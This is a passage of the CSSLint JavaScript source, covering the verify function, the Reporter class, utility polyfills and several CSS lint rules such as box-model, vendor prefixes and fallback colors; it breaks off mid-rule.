7758 * @param {String} text The CSS text to verify.
7759 * @param {Object} ruleset (Optional) List of rules to apply. If null, then
7760 * all rules are used. If a rule has a value of 1 then it's a warning,
7761 * a value of 2 means it's an error.
7762 * @return {Object} Results of the verification.
7763 * @method verify
7764 */
7765 api.verify = function(text, ruleset) {
7766
7767 var i = 0,
7768 reporter,
7769 lines,
7770 allow = {},
7771 ignore = [],
7772 report,
7773 parser = new parserlib.css.Parser({
7774 starHack: true,
7775 ieFilters: true,
7776 underscoreHack: true,
7777 strict: false
7778 });
7779
7780 // normalize line endings
7781 lines = text.replace(/\n\r?/g, "$split$").split("$split$");
7782
7783 // find 'allow' comments
7784 CSSLint.Util.forEach(lines, function (line, lineno) {
7785 var allowLine = line && line.match(/\/\*[ \t]*csslint[ \t]+allow:[ \t]*([^\*]*)\*\//i),
7786 allowRules = allowLine && allowLine[1],
7787 allowRuleset = {};
7788
7789 if (allowRules) {
7790 allowRules.toLowerCase().split(",").forEach(function(allowRule) {
7791 allowRuleset[allowRule.trim()] = true;
7792 });
7793 if (Object.keys(allowRuleset).length > 0) {
7794 allow[lineno + 1] = allowRuleset;
7795 }
7796 }
7797 });
7798
7799 var ignoreStart = null,
7800 ignoreEnd = null;
7801 CSSLint.Util.forEach(lines, function (line, lineno) {
7802 // Keep oldest, "unclosest" ignore:start
7803 if (ignoreStart === null && line.match(/\/\*[ \t]*csslint[ \t]+ignore:start[ \t]*\*\//i)) {
7804 ignoreStart = lineno;
7805 }
7806
7807 if (line.match(/\/\*[ \t]*csslint[ \t]+ignore:end[ \t]*\*\//i)) {
7808 ignoreEnd = lineno;
7809 }
7810
7811 if (ignoreStart !== null && ignoreEnd !== null) {
7812 ignore.push([ignoreStart, ignoreEnd]);
7813 ignoreStart = ignoreEnd = null;
7814 }
7815 });
7816
7817 // Close remaining ignore block, if any
7818 if (ignoreStart !== null) {
7819 ignore.push([ignoreStart, lines.length]);
7820 }
7821
7822 if (!ruleset) {
7823 ruleset = this.getRuleset();
7824 }
7825
7826 if (embeddedRuleset.test(text)) {
7827 // defensively copy so that caller's version does not get modified
7828 ruleset = clone(ruleset);
7829 ruleset = applyEmbeddedRuleset(text, ruleset);
7830 }
7831
7832 reporter = new Reporter(lines, ruleset, allow, ignore);
7833
7834 ruleset.errors = 2; // always report parsing errors as errors
7835 for (i in ruleset) {
7836 if (ruleset.hasOwnProperty(i) && ruleset[i]) {
7837 if (rules[i]) {
7838 rules[i].init(parser, reporter);
7839 }
7840 }
7841 }
7842
7843
7844 // capture most horrible error type
7845 try {
7846 parser.parse(text);
7847 } catch (ex) {
7848 reporter.error("Fatal error, cannot continue: " + ex.message, ex.line, ex.col, {});
7849 }
7850
7851 report = {
7852 messages : reporter.messages,
7853 stats : reporter.stats,
7854 ruleset : reporter.ruleset,
7855 allow : reporter.allow,
7856 ignore : reporter.ignore
7857 };
7858
7859 // sort by line numbers, rollups at the bottom
7860 report.messages.sort(function (a, b) {
7861 if (a.rollup && !b.rollup) {
7862 return 1;
7863 } else if (!a.rollup && b.rollup) {
7864 return -1;
7865 } else {
7866 return a.line - b.line;
7867 }
7868 });
7869
7870 return report;
7871 };
7872
7873 //-------------------------------------------------------------------------
7874 // Publish the API
7875 //-------------------------------------------------------------------------
7876
7877 return api;
7878
7879})();
7880
7881/**
7882 * An instance of Report is used to report results of the
7883 * verification back to the main API.
7884 * @class Reporter
7885 * @constructor
7886 * @param {String[]} lines The text lines of the source.
7887 * @param {Object} ruleset The set of rules to work with, including if
7888 * they are errors or warnings.
7889 * @param {Object} explicitly allowed lines
7890 * @param {[][]} ingore list of line ranges to be ignored
7891 */
7892function Reporter(lines, ruleset, allow, ignore) {
7893 "use strict";
7894
7895 /**
7896 * List of messages being reported.
7897 * @property messages
7898 * @type String[]
7899 */
7900 this.messages = [];
7901
7902 /**
7903 * List of statistics being reported.
7904 * @property stats
7905 * @type String[]
7906 */
7907 this.stats = [];
7908
7909 /**
7910 * Lines of code being reported on. Used to provide contextual information
7911 * for messages.
7912 * @property lines
7913 * @type String[]
7914 */
7915 this.lines = lines;
7916
7917 /**
7918 * Information about the rules. Used to determine whether an issue is an
7919 * error or warning.
7920 * @property ruleset
7921 * @type Object
7922 */
7923 this.ruleset = ruleset;
7924
7925 /**
7926 * Lines with specific rule messages to leave out of the report.
7927 * @property allow
7928 * @type Object
7929 */
7930 this.allow = allow;
7931 if (!this.allow) {
7932 this.allow = {};
7933 }
7934
7935 /**
7936 * Linesets not to include in the report.
7937 * @property ignore
7938 * @type [][]
7939 */
7940 this.ignore = ignore;
7941 if (!this.ignore) {
7942 this.ignore = [];
7943 }
7944}
7945
7946Reporter.prototype = {
7947
7948 // restore constructor
7949 constructor: Reporter,
7950
7951 /**
7952 * Report an error.
7953 * @param {String} message The message to store.
7954 * @param {int} line The line number.
7955 * @param {int} col The column number.
7956 * @param {Object} rule The rule this message relates to.
7957 * @method error
7958 */
7959 error: function(message, line, col, rule) {
7960 "use strict";
7961 this.messages.push({
7962 type : "error",
7963 line : line,
7964 col : col,
7965 message : message,
7966 evidence: this.lines[line-1],
7967 rule : rule || {}
7968 });
7969 },
7970
7971 /**
7972 * Report an warning.
7973 * @param {String} message The message to store.
7974 * @param {int} line The line number.
7975 * @param {int} col The column number.
7976 * @param {Object} rule The rule this message relates to.
7977 * @method warn
7978 * @deprecated Use report instead.
7979 */
7980 warn: function(message, line, col, rule) {
7981 "use strict";
7982 this.report(message, line, col, rule);
7983 },
7984
7985 /**
7986 * Report an issue.
7987 * @param {String} message The message to store.
7988 * @param {int} line The line number.
7989 * @param {int} col The column number.
7990 * @param {Object} rule The rule this message relates to.
7991 * @method report
7992 */
7993 report: function(message, line, col, rule) {
7994 "use strict";
7995
7996 // Check if rule violation should be allowed
7997 if (this.allow.hasOwnProperty(line) && this.allow[line].hasOwnProperty(rule.id)) {
7998 return;
7999 }
8000
8001 var ignore = false;
8002 CSSLint.Util.forEach(this.ignore, function (range) {
8003 if (range[0] <= line && line <= range[1]) {
8004 ignore = true;
8005 }
8006 });
8007 if (ignore) {
8008 return;
8009 }
8010
8011 this.messages.push({
8012 type : this.ruleset[rule.id] === 2 ? "error" : "warning",
8013 line : line,
8014 col : col,
8015 message : message,
8016 evidence: this.lines[line-1],
8017 rule : rule
8018 });
8019 },
8020
8021 /**
8022 * Report some informational text.
8023 * @param {String} message The message to store.
8024 * @param {int} line The line number.
8025 * @param {int} col The column number.
8026 * @param {Object} rule The rule this message relates to.
8027 * @method info
8028 */
8029 info: function(message, line, col, rule) {
8030 "use strict";
8031 this.messages.push({
8032 type : "info",
8033 line : line,
8034 col : col,
8035 message : message,
8036 evidence: this.lines[line-1],
8037 rule : rule
8038 });
8039 },
8040
8041 /**
8042 * Report some rollup error information.
8043 * @param {String} message The message to store.
8044 * @param {Object} rule The rule this message relates to.
8045 * @method rollupError
8046 */
8047 rollupError: function(message, rule) {
8048 "use strict";
8049 this.messages.push({
8050 type : "error",
8051 rollup : true,
8052 message : message,
8053 rule : rule
8054 });
8055 },
8056
8057 /**
8058 * Report some rollup warning information.
8059 * @param {String} message The message to store.
8060 * @param {Object} rule The rule this message relates to.
8061 * @method rollupWarn
8062 */
8063 rollupWarn: function(message, rule) {
8064 "use strict";
8065 this.messages.push({
8066 type : "warning",
8067 rollup : true,
8068 message : message,
8069 rule : rule
8070 });
8071 },
8072
8073 /**
8074 * Report a statistic.
8075 * @param {String} name The name of the stat to store.
8076 * @param {Variant} value The value of the stat.
8077 * @method stat
8078 */
8079 stat: function(name, value) {
8080 "use strict";
8081 this.stats[name] = value;
8082 }
8083};
8084
8085// expose for testing purposes
8086CSSLint._Reporter = Reporter;
8087
8088/*
8089 * Utility functions that make life easier.
8090 */
8091CSSLint.Util = {
8092 /*
8093 * Adds all properties from supplier onto receiver,
8094 * overwriting if the same name already exists on
8095 * receiver.
8096 * @param {Object} The object to receive the properties.
8097 * @param {Object} The object to provide the properties.
8098 * @return {Object} The receiver
8099 */
8100 mix: function(receiver, supplier) {
8101 "use strict";
8102 var prop;
8103
8104 for (prop in supplier) {
8105 if (supplier.hasOwnProperty(prop)) {
8106 receiver[prop] = supplier[prop];
8107 }
8108 }
8109
8110 return prop;
8111 },
8112
8113 /*
8114 * Polyfill for array indexOf() method.
8115 * @param {Array} values The array to search.
8116 * @param {Variant} value The value to search for.
8117 * @return {int} The index of the value if found, -1 if not.
8118 */
8119 indexOf: function(values, value) {
8120 "use strict";
8121 if (values.indexOf) {
8122 return values.indexOf(value);
8123 } else {
8124 for (var i=0, len=values.length; i < len; i++) {
8125 if (values[i] === value) {
8126 return i;
8127 }
8128 }
8129 return -1;
8130 }
8131 },
8132
8133 /*
8134 * Polyfill for array forEach() method.
8135 * @param {Array} values The array to operate on.
8136 * @param {Function} func The function to call on each item.
8137 * @return {void}
8138 */
8139 forEach: function(values, func) {
8140 "use strict";
8141 if (values.forEach) {
8142 return values.forEach(func);
8143 } else {
8144 for (var i=0, len=values.length; i < len; i++) {
8145 func(values[i], i, values);
8146 }
8147 }
8148 }
8149};
8150
8151/*
8152 * Rule: Don't use adjoining classes (.foo.bar).
8153 */
8154
8155CSSLint.addRule({
8156
8157 // rule information
8158 id: "adjoining-classes",
8159 name: "Disallow adjoining classes",
8160 desc: "Don't use adjoining classes.",
8161 url: "https://github.com/CSSLint/csslint/wiki/Disallow-adjoining-classes",
8162 browsers: "IE6",
8163
8164 // initialization
8165 init: function(parser, reporter) {
8166 "use strict";
8167 var rule = this;
8168 parser.addListener("startrule", function(event) {
8169 var selectors = event.selectors,
8170 selector,
8171 part,
8172 modifier,
8173 classCount,
8174 i, j, k;
8175
8176 for (i=0; i < selectors.length; i++) {
8177 selector = selectors[i];
8178 for (j=0; j < selector.parts.length; j++) {
8179 part = selector.parts[j];
8180 if (part.type === parser.SELECTOR_PART_TYPE) {
8181 classCount = 0;
8182 for (k=0; k < part.modifiers.length; k++) {
8183 modifier = part.modifiers[k];
8184 if (modifier.type === "class") {
8185 classCount++;
8186 }
8187 if (classCount > 1){
8188 reporter.report("Adjoining classes: "+selectors[i].text, part.line, part.col, rule);
8189 }
8190 }
8191 }
8192 }
8193 }
8194 });
8195 }
8196
8197});
8198
8199/*
8200 * Rule: Don't use width or height when using padding or border.
8201 */
8202CSSLint.addRule({
8203
8204 // rule information
8205 id: "box-model",
8206 name: "Beware of broken box size",
8207 desc: "Don't use width or height when using padding or border.",
8208 url: "https://github.com/CSSLint/csslint/wiki/Beware-of-box-model-size",
8209 browsers: "All",
8210
8211 // initialization
8212 init: function(parser, reporter) {
8213 "use strict";
8214 var rule = this,
8215 widthProperties = {
8216 border: 1,
8217 "border-left": 1,
8218 "border-right": 1,
8219 padding: 1,
8220 "padding-left": 1,
8221 "padding-right": 1
8222 },
8223 heightProperties = {
8224 border: 1,
8225 "border-bottom": 1,
8226 "border-top": 1,
8227 padding: 1,
8228 "padding-bottom": 1,
8229 "padding-top": 1
8230 },
8231 properties,
8232 boxSizing = false;
8233
8234 function startRule() {
8235 properties = {};
8236 boxSizing = false;
8237 }
8238
8239 function endRule() {
8240 var prop, value;
8241
8242 if (!boxSizing) {
8243 if (properties.height) {
8244 for (prop in heightProperties) {
8245 if (heightProperties.hasOwnProperty(prop) && properties[prop]) {
8246 value = properties[prop].value;
8247 // special case for padding
8248 if (!(prop === "padding" && value.parts.length === 2 && value.parts[0].value === 0)) {
8249 reporter.report("Using height with " + prop + " can sometimes make elements larger than you expect.", properties[prop].line, properties[prop].col, rule);
8250 }
8251 }
8252 }
8253 }
8254
8255 if (properties.width) {
8256 for (prop in widthProperties) {
8257 if (widthProperties.hasOwnProperty(prop) && properties[prop]) {
8258 value = properties[prop].value;
8259
8260 if (!(prop === "padding" && value.parts.length === 2 && value.parts[1].value === 0)) {
8261 reporter.report("Using width with " + prop + " can sometimes make elements larger than you expect.", properties[prop].line, properties[prop].col, rule);
8262 }
8263 }
8264 }
8265 }
8266 }
8267 }
8268
8269 parser.addListener("startrule", startRule);
8270 parser.addListener("startfontface", startRule);
8271 parser.addListener("startpage", startRule);
8272 parser.addListener("startpagemargin", startRule);
8273 parser.addListener("startkeyframerule", startRule);
8274 parser.addListener("startviewport", startRule);
8275
8276 parser.addListener("property", function(event) {
8277 var name = event.property.text.toLowerCase();
8278
8279 if (heightProperties[name] || widthProperties[name]) {
8280 if (!/^0\S*$/.test(event.value) && !(name === "border" && event.value.toString() === "none")) {
8281 properties[name] = {
8282 line: event.property.line,
8283 col: event.property.col,
8284 value: event.value
8285 };
8286 }
8287 } else {
8288 if (/^(width|height)/i.test(name) && /^(length|percentage)/.test(event.value.parts[0].type)) {
8289 properties[name] = 1;
8290 } else if (name === "box-sizing") {
8291 boxSizing = true;
8292 }
8293 }
8294
8295 });
8296
8297 parser.addListener("endrule", endRule);
8298 parser.addListener("endfontface", endRule);
8299 parser.addListener("endpage", endRule);
8300 parser.addListener("endpagemargin", endRule);
8301 parser.addListener("endkeyframerule", endRule);
8302 parser.addListener("endviewport", endRule);
8303 }
8304
8305});
8306
8307/*
8308 * Rule: box-sizing doesn't work in IE6 and IE7.
8309 */
8310
8311CSSLint.addRule({
8312
8313 // rule information
8314 id: "box-sizing",
8315 name: "Disallow use of box-sizing",
8316 desc: "The box-sizing properties isn't supported in IE6 and IE7.",
8317 url: "https://github.com/CSSLint/csslint/wiki/Disallow-box-sizing",
8318 browsers: "IE6, IE7",
8319 tags: ["Compatibility"],
8320
8321 // initialization
8322 init: function(parser, reporter) {
8323 "use strict";
8324 var rule = this;
8325
8326 parser.addListener("property", function(event) {
8327 var name = event.property.text.toLowerCase();
8328
8329 if (name === "box-sizing") {
8330 reporter.report("The box-sizing property isn't supported in IE6 and IE7.", event.line, event.col, rule);
8331 }
8332 });
8333 }
8334
8335});
8336
8337/*
8338 * Rule: Use the bulletproof @font-face syntax to avoid 404's in old IE
8339 * (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax)
8340 */
8341
8342CSSLint.addRule({
8343
8344 // rule information
8345 id: "bulletproof-font-face",
8346 name: "Use the bulletproof @font-face syntax",
8347 desc: "Use the bulletproof @font-face syntax to avoid 404's in old IE (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax).",
8348 url: "https://github.com/CSSLint/csslint/wiki/Bulletproof-font-face",
8349 browsers: "All",
8350
8351 // initialization
8352 init: function(parser, reporter) {
8353 "use strict";
8354 var rule = this,
8355 fontFaceRule = false,
8356 firstSrc = true,
8357 ruleFailed = false,
8358 line, col;
8359
8360 // Mark the start of a @font-face declaration so we only test properties inside it
8361 parser.addListener("startfontface", function() {
8362 fontFaceRule = true;
8363 });
8364
8365 parser.addListener("property", function(event) {
8366 // If we aren't inside an @font-face declaration then just return
8367 if (!fontFaceRule) {
8368 return;
8369 }
8370
8371 var propertyName = event.property.toString().toLowerCase(),
8372 value = event.value.toString();
8373
8374 // Set the line and col numbers for use in the endfontface listener
8375 line = event.line;
8376 col = event.col;
8377
8378 // This is the property that we care about, we can ignore the rest
8379 if (propertyName === "src") {
8380 var regex = /^\s?url\(['"].+\.eot\?.*['"]\)\s*format\(['"]embedded-opentype['"]\).*$/i;
8381
8382 // We need to handle the advanced syntax with two src properties
8383 if (!value.match(regex) && firstSrc) {
8384 ruleFailed = true;
8385 firstSrc = false;
8386 } else if (value.match(regex) && !firstSrc) {
8387 ruleFailed = false;
8388 }
8389 }
8390
8391
8392 });
8393
8394 // Back to normal rules that we don't need to test
8395 parser.addListener("endfontface", function() {
8396 fontFaceRule = false;
8397
8398 if (ruleFailed) {
8399 reporter.report("@font-face declaration doesn't follow the fontspring bulletproof syntax.", line, col, rule);
8400 }
8401 });
8402 }
8403});
8404
8405/*
8406 * Rule: Include all compatible vendor prefixes to reach a wider
8407 * range of users.
8408 */
8409
8410CSSLint.addRule({
8411
8412 // rule information
8413 id: "compatible-vendor-prefixes",
8414 name: "Require compatible vendor prefixes",
8415 desc: "Include all compatible vendor prefixes to reach a wider range of users.",
8416 url: "https://github.com/CSSLint/csslint/wiki/Require-compatible-vendor-prefixes",
8417 browsers: "All",
8418
8419 // initialization
8420 init: function (parser, reporter) {
8421 "use strict";
8422 var rule = this,
8423 compatiblePrefixes,
8424 properties,
8425 prop,
8426 variations,
8427 prefixed,
8428 i,
8429 len,
8430 inKeyFrame = false,
8431 arrayPush = Array.prototype.push,
8432 applyTo = [];
8433
8434 // See http://peter.sh/experiments/vendor-prefixed-css-property-overview/ for details
8435 compatiblePrefixes = {
8436 "animation" : "webkit",
8437 "animation-delay" : "webkit",
8438 "animation-direction" : "webkit",
8439 "animation-duration" : "webkit",
8440 "animation-fill-mode" : "webkit",
8441 "animation-iteration-count" : "webkit",
8442 "animation-name" : "webkit",
8443 "animation-play-state" : "webkit",
8444 "animation-timing-function" : "webkit",
8445 "appearance" : "webkit moz",
8446 "border-end" : "webkit moz",
8447 "border-end-color" : "webkit moz",
8448 "border-end-style" : "webkit moz",
8449 "border-end-width" : "webkit moz",
8450 "border-image" : "webkit moz o",
8451 "border-radius" : "webkit",
8452 "border-start" : "webkit moz",
8453 "border-start-color" : "webkit moz",
8454 "border-start-style" : "webkit moz",
8455 "border-start-width" : "webkit moz",
8456 "box-align" : "webkit moz ms",
8457 "box-direction" : "webkit moz ms",
8458 "box-flex" : "webkit moz ms",
8459 "box-lines" : "webkit ms",
8460 "box-ordinal-group" : "webkit moz ms",
8461 "box-orient" : "webkit moz ms",
8462 "box-pack" : "webkit moz ms",
8463 "box-sizing" : "",
8464 "box-shadow" : "",
8465 "column-count" : "webkit moz ms",
8466 "column-gap" : "webkit moz ms",
8467 "column-rule" : "webkit moz ms",
8468 "column-rule-color" : "webkit moz ms",
8469 "column-rule-style" : "webkit moz ms",
8470 "column-rule-width" : "webkit moz ms",
8471 "column-width" : "webkit moz ms",
8472 "hyphens" : "epub moz",
8473 "line-break" : "webkit ms",
8474 "margin-end" : "webkit moz",
8475 "margin-start" : "webkit moz",
8476 "marquee-speed" : "webkit wap",
8477 "marquee-style" : "webkit wap",
8478 "padding-end" : "webkit moz",
8479 "padding-start" : "webkit moz",
8480 "tab-size" : "moz o",
8481 "text-size-adjust" : "webkit ms",
8482 "transform" : "webkit ms",
8483 "transform-origin" : "webkit ms",
8484 "transition" : "",
8485 "transition-delay" : "",
8486 "transition-duration" : "",
8487 "transition-property" : "",
8488 "transition-timing-function" : "",
8489 "user-modify" : "webkit moz",
8490 "user-select" : "webkit moz ms",
8491 "word-break" : "epub ms",
8492 "writing-mode" : "epub ms"
8493 };
8494
8495
8496 for (prop in compatiblePrefixes) {
8497 if (compatiblePrefixes.hasOwnProperty(prop)) {
8498 variations = [];
8499 prefixed = compatiblePrefixes[prop].split(" ");
8500 for (i = 0, len = prefixed.length; i < len; i++) {
8501 variations.push("-" + prefixed[i] + "-" + prop);
8502 }
8503 compatiblePrefixes[prop] = variations;
8504 arrayPush.apply(applyTo, variations);
8505 }
8506 }
8507
8508 parser.addListener("startrule", function () {
8509 properties = [];
8510 });
8511
8512 parser.addListener("startkeyframes", function (event) {
8513 inKeyFrame = event.prefix || true;
8514 });
8515
8516 parser.addListener("endkeyframes", function () {
8517 inKeyFrame = false;
8518 });
8519
8520 parser.addListener("property", function (event) {
8521 var name = event.property;
8522 if (CSSLint.Util.indexOf(applyTo, name.text) > -1) {
8523
8524 // e.g., -moz-transform is okay to be alone in @-moz-keyframes
8525 if (!inKeyFrame || typeof inKeyFrame !== "string" ||
8526 name.text.indexOf("-" + inKeyFrame + "-") !== 0) {
8527 properties.push(name);
8528 }
8529 }
8530 });
8531
8532 parser.addListener("endrule", function () {
8533 if (!properties.length) {
8534 return;
8535 }
8536
8537 var propertyGroups = {},
8538 i,
8539 len,
8540 name,
8541 prop,
8542 variations,
8543 value,
8544 full,
8545 actual,
8546 item,
8547 propertiesSpecified;
8548
8549 for (i = 0, len = properties.length; i < len; i++) {
8550 name = properties[i];
8551
8552 for (prop in compatiblePrefixes) {
8553 if (compatiblePrefixes.hasOwnProperty(prop)) {
8554 variations = compatiblePrefixes[prop];
8555 if (CSSLint.Util.indexOf(variations, name.text) > -1) {
8556 if (!propertyGroups[prop]) {
8557 propertyGroups[prop] = {
8558 full: variations.slice(0),
8559 actual: [],
8560 actualNodes: []
8561 };
8562 }
8563 if (CSSLint.Util.indexOf(propertyGroups[prop].actual, name.text) === -1) {
8564 propertyGroups[prop].actual.push(name.text);
8565 propertyGroups[prop].actualNodes.push(name);
8566 }
8567 }
8568 }
8569 }
8570 }
8571
8572 for (prop in propertyGroups) {
8573 if (propertyGroups.hasOwnProperty(prop)) {
8574 value = propertyGroups[prop];
8575 full = value.full;
8576 actual = value.actual;
8577
8578 if (full.length > actual.length) {
8579 for (i = 0, len = full.length; i < len; i++) {
8580 item = full[i];
8581 if (CSSLint.Util.indexOf(actual, item) === -1) {
8582 propertiesSpecified = (actual.length === 1) ? actual[0] : (actual.length === 2) ? actual.join(" and ") : actual.join(", ");
8583 reporter.report("The property " + item + " is compatible with " + propertiesSpecified + " and should be included as well.", value.actualNodes[0].line, value.actualNodes[0].col, rule);
8584 }
8585 }
8586
8587 }
8588 }
8589 }
8590 });
8591 }
8592});
8593
8594/*
8595 * Rule: Certain properties don't play well with certain display values.
8596 * - float should not be used with inline-block
8597 * - height, width, margin-top, margin-bottom, float should not be used with inline
8598 * - vertical-align should not be used with block
8599 * - margin, float should not be used with table-*
8600 */
8601
8602CSSLint.addRule({
8603
8604 // rule information
8605 id: "display-property-grouping",
8606 name: "Require properties appropriate for display",
8607 desc: "Certain properties shouldn't be used with certain display property values.",
8608 url: "https://github.com/CSSLint/csslint/wiki/Require-properties-appropriate-for-display",
8609 browsers: "All",
8610
8611 // initialization
8612 init: function(parser, reporter) {
8613 "use strict";
8614 var rule = this;
8615
8616 var propertiesToCheck = {
8617 display: 1,
8618 "float": "none",
8619 height: 1,
8620 width: 1,
8621 margin: 1,
8622 "margin-left": 1,
8623 "margin-right": 1,
8624 "margin-bottom": 1,
8625 "margin-top": 1,
8626 padding: 1,
8627 "padding-left": 1,
8628 "padding-right": 1,
8629 "padding-bottom": 1,
8630 "padding-top": 1,
8631 "vertical-align": 1
8632 },
8633 properties;
8634
8635 function reportProperty(name, display, msg) {
8636 if (properties[name]) {
8637 if (typeof propertiesToCheck[name] !== "string" || properties[name].value.toLowerCase() !== propertiesToCheck[name]) {
8638 reporter.report(msg || name + " can't be used with display: " + display + ".", properties[name].line, properties[name].col, rule);
8639 }
8640 }
8641 }
8642
8643 function startRule() {
8644 properties = {};
8645 }
8646
8647 function endRule() {
8648
8649 var display = properties.display ? properties.display.value : null;
8650 if (display) {
8651 switch (display) {
8652
8653 case "inline":
8654 // height, width, margin-top, margin-bottom, float should not be used with inline
8655 reportProperty("height", display);
8656 reportProperty("width", display);
8657 reportProperty("margin", display);
8658 reportProperty("margin-top", display);
8659 reportProperty("margin-bottom", display);
8660 reportProperty("float", display, "display:inline has no effect on floated elements (but may be used to fix the IE6 double-margin bug).");
8661 break;
8662
8663 case "block":
8664 // vertical-align should not be used with block
8665 reportProperty("vertical-align", display);
8666 break;
8667
8668 case "inline-block":
8669 // float should not be used with inline-block
8670 reportProperty("float", display);
8671 break;
8672
8673 default:
8674 // margin, float should not be used with table
8675 if (display.indexOf("table-") === 0) {
8676 reportProperty("margin", display);
8677 reportProperty("margin-left", display);
8678 reportProperty("margin-right", display);
8679 reportProperty("margin-top", display);
8680 reportProperty("margin-bottom", display);
8681 reportProperty("float", display);
8682 }
8683
8684 // otherwise do nothing
8685 }
8686 }
8687
8688 }
8689
8690 parser.addListener("startrule", startRule);
8691 parser.addListener("startfontface", startRule);
8692 parser.addListener("startkeyframerule", startRule);
8693 parser.addListener("startpagemargin", startRule);
8694 parser.addListener("startpage", startRule);
8695 parser.addListener("startviewport", startRule);
8696
8697 parser.addListener("property", function(event) {
8698 var name = event.property.text.toLowerCase();
8699
8700 if (propertiesToCheck[name]) {
8701 properties[name] = {
8702 value: event.value.text,
8703 line: event.property.line,
8704 col: event.property.col
8705 };
8706 }
8707 });
8708
8709 parser.addListener("endrule", endRule);
8710 parser.addListener("endfontface", endRule);
8711 parser.addListener("endkeyframerule", endRule);
8712 parser.addListener("endpagemargin", endRule);
8713 parser.addListener("endpage", endRule);
8714 parser.addListener("endviewport", endRule);
8715
8716 }
8717
8718});
8719
8720/*
8721 * Rule: Disallow duplicate background-images (using url).
8722 */
8723
8724CSSLint.addRule({
8725
8726 // rule information
8727 id: "duplicate-background-images",
8728 name: "Disallow duplicate background images",
8729 desc: "Every background-image should be unique. Use a common class for e.g. sprites.",
8730 url: "https://github.com/CSSLint/csslint/wiki/Disallow-duplicate-background-images",
8731 browsers: "All",
8732
8733 // initialization
8734 init: function(parser, reporter) {
8735 "use strict";
8736 var rule = this,
8737 stack = {};
8738
8739 parser.addListener("property", function(event) {
8740 var name = event.property.text,
8741 value = event.value,
8742 i, len;
8743
8744 if (name.match(/background/i)) {
8745 for (i=0, len=value.parts.length; i < len; i++) {
8746 if (value.parts[i].type === "uri") {
8747 if (typeof stack[value.parts[i].uri] === "undefined") {
8748 stack[value.parts[i].uri] = event;
8749 } else {
8750 reporter.report("Background image '" + value.parts[i].uri + "' was used multiple times, first declared at line " + stack[value.parts[i].uri].line + ", col " + stack[value.parts[i].uri].col + ".", event.line, event.col, rule);
8751 }
8752 }
8753 }
8754 }
8755 });
8756 }
8757});
8758
8759/*
8760 * Rule: Duplicate properties must appear one after the other. If an already-defined
8761 * property appears somewhere else in the rule, then it's likely an error.
8762 */
8763
8764CSSLint.addRule({
8765
8766 // rule information
8767 id: "duplicate-properties",
8768 name: "Disallow duplicate properties",
8769 desc: "Duplicate properties must appear one after the other.",
8770 url: "https://github.com/CSSLint/csslint/wiki/Disallow-duplicate-properties",
8771 browsers: "All",
8772
8773 // initialization
8774 init: function(parser, reporter) {
8775 "use strict";
8776 var rule = this,
8777 properties,
8778 lastProperty;
8779
8780 function startRule() {
8781 properties = {};
8782 }
8783
8784 parser.addListener("startrule", startRule);
8785 parser.addListener("startfontface", startRule);
8786 parser.addListener("startpage", startRule);
8787 parser.addListener("startpagemargin", startRule);
8788 parser.addListener("startkeyframerule", startRule);
8789 parser.addListener("startviewport", startRule);
8790
8791 parser.addListener("property", function(event) {
8792 var property = event.property,
8793 name = property.text.toLowerCase();
8794
8795 if (properties[name] && (lastProperty !== name || properties[name] === event.value.text)) {
8796 reporter.report("Duplicate property '" + event.property + "' found.", event.line, event.col, rule);
8797 }
8798
8799 properties[name] = event.value.text;
8800 lastProperty = name;
8801
8802 });
8803
8804
8805 }
8806
8807});
8808
8809/*
8810 * Rule: Style rules without any properties defined should be removed.
8811 */
8812
8813CSSLint.addRule({
8814
8815 // rule information
8816 id: "empty-rules",
8817 name: "Disallow empty rules",
8818 desc: "Rules without any properties specified should be removed.",
8819 url: "https://github.com/CSSLint/csslint/wiki/Disallow-empty-rules",
8820 browsers: "All",
8821
8822 // initialization
8823 init: function(parser, reporter) {
8824 "use strict";
8825 var rule = this,
8826 count = 0;
8827
8828 parser.addListener("startrule", function() {
8829 count=0;
8830 });
8831
8832 parser.addListener("property", function() {
8833 count++;
8834 });
8835
8836 parser.addListener("endrule", function(event) {
8837 var selectors = event.selectors;
8838 if (count === 0) {
8839 reporter.report("Rule is empty.", selectors[0].line, selectors[0].col, rule);
8840 }
8841 });
8842 }
8843
8844});
8845
8846/*
8847 * Rule: There should be no syntax errors. (Duh.)
8848 */
8849
8850CSSLint.addRule({
8851
8852 // rule information
8853 id: "errors",
8854 name: "Parsing Errors",
8855 desc: "This rule looks for recoverable syntax errors.",
8856 browsers: "All",
8857
8858 // initialization
8859 init: function(parser, reporter) {
8860 "use strict";
8861 var rule = this;
8862
8863 parser.addListener("error", function(event) {
8864 reporter.error(event.message, event.line, event.col, rule);
8865 });
8866
8867 }
8868
8869});
8870
8871CSSLint.addRule({
8872
8873 // rule information
8874 id: "fallback-colors",
8875 name: "Require fallback colors",
8876 desc: "For older browsers that don't support RGBA, HSL, or HSLA, provide a fallback color.",
8877 url: "https://github.com/CSSLint/csslint/wiki/Require-fallback-colors",
8878 browsers: "IE6,IE7,IE8",
8879
8880 // initialization
8881 init: function(parser, reporter) {
8882 "use strict";
8883 var rule = this,
8884 lastProperty,
8885 propertiesToCheck = {
8886 color: 1,
8887 background: 1,
8888 "border-color": 1,
8889 "border-top-color": 1,
8890 "border-right-color": 1,
8891 "border-bottom-color": 1,
8892 "border-left-color": 1,
8893 border: 1,
8894 "border-top": 1,
8895 "border-right": 1,
8896 "border-bottom": 1,
8897 "border-left": 1,
8898 "background-color": 1
8899 };
8900
8901 function startRule() {
8902 lastProperty = null;
8903 }
8904
8905 parser.addListener("startrule", startRule);
8906 parser.addListener("startfontface", startRule);
8907 parser.addListener("startpage", startRule);
8908 parser.addListener("startpagemargin", startRule);
8909 parser.addListener("startkeyframerule", startRule);
8910 parser.addListener("startviewport", startRule);
8911
8912 parser.addListener("property", function(event) {
8913 var property = event.property,
8914 name = property.text.toLowerCase(),
8915 parts = event.value.parts,
8916 i = 0,
8917 colorType = "",
8918 len = parts.length;
8919
8920 if (propertiesToCheck[name]) {
8921 while (i < len) {
8922 if (parts[i].type === "color") {
8923 if ("alpha" in parts[i] || "hue" in parts[i]) {
8924
8925 if (/([^\)]+)\(/.test(parts[i])) {
8926 colorType = RegExp.$1.toUpperCase();
8927 }
8928
8929 if (!lastProperty || (lastProperty.property.text.toLowerCase() !== name || lastProperty.colorType !== "compat")) {
8930 reporter.report("Fallback " + name + " (hex or RGB) should precede " + colorType + " " + name + ".", event.line, event.col, rule);
8931 }
8932 } else {
8933 event.colorType = "compat";
8934 }
8935 }
8936
8937 i++;
8938 }
8939 }
8940
